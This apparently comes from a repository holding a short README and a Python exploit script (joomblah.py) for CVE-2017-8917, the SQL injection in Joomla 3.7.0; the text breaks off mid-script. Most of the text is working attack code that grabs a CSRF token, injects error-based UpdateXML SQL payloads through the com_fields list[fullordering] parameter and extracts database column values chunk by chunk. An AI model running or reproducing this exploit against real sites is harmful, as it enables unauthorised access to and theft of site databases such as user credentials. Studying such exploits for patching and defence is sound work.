├── README.md └── joomblah.py /README.md: -------------------------------------------------------------------------------- 1 | # ep4-redes 2 | CVE-2017-8917 SQL injection Vulnerability in Joomla! 3.7.0 exploit 3 | 4 | Explanation about the vulnerability: 5 | - https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html 6 | -------------------------------------------------------------------------------- /joomblah.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from __future__ import print_function 3 | import requests 4 | import sys 5 | import re 6 | import argparse 7 | import os 8 | import random 9 | import time 10 | import binascii 11 | 12 | 13 | def extract_token(resp): 14 | match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) 15 | if match is None: 16 | print(" [!] Cannot find CSRF token") 17 | return None 18 | return match.group(1) 19 | 20 | 21 | def parse_options(): 22 | parser = argparse.ArgumentParser(description='Jooma Exploit') 23 | parser.add_argument('url', help='Base URL for Joomla site') 24 | return parser.parse_args() 25 | 26 | 27 | def build_sqli(colname, morequery): 28 | return "(SELECT " + colname + " " + morequery + ")" 29 | 30 | def joomla_370_sqli_extract(options, sess, token, colname, morequery): 31 | sqli = build_sqli("LENGTH("+colname+")", morequery) 32 | length = joomla_370_sqli(options, sess, token, sqli) 33 | if not length: 34 | return None 35 | length = int(length) 36 | maxbytes = 30 37 | offset = 0 38 | result = '' 39 | while length > offset: 40 | sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery) 41 | value = joomla_370_sqli(options, sess, token, sqli) 42 | if not value: 43 | print(" [!] Failed to retrieve string for query:", sqli) 44 | return None 45 | value = binascii.unhexlify(value).decode("utf-8") 46 | result += value 47 | offset += len(value) 48 | return result 49 | 50 | 51 | def joomla_370_sqli(options, sess, token, sqli): 52 | sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)" 53 | data = { 54 | 'option': 'com_fields', 55 | 'view': 'fields', 56 | 'layout': 'modal', 57 | 'list[fullordering]': sqli_full, 58 | token: '1', 59 | } 60 | resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False) 61 | match = re.search(r'XPATH syntax error:\s*'([^$\n]+)\s*'\s*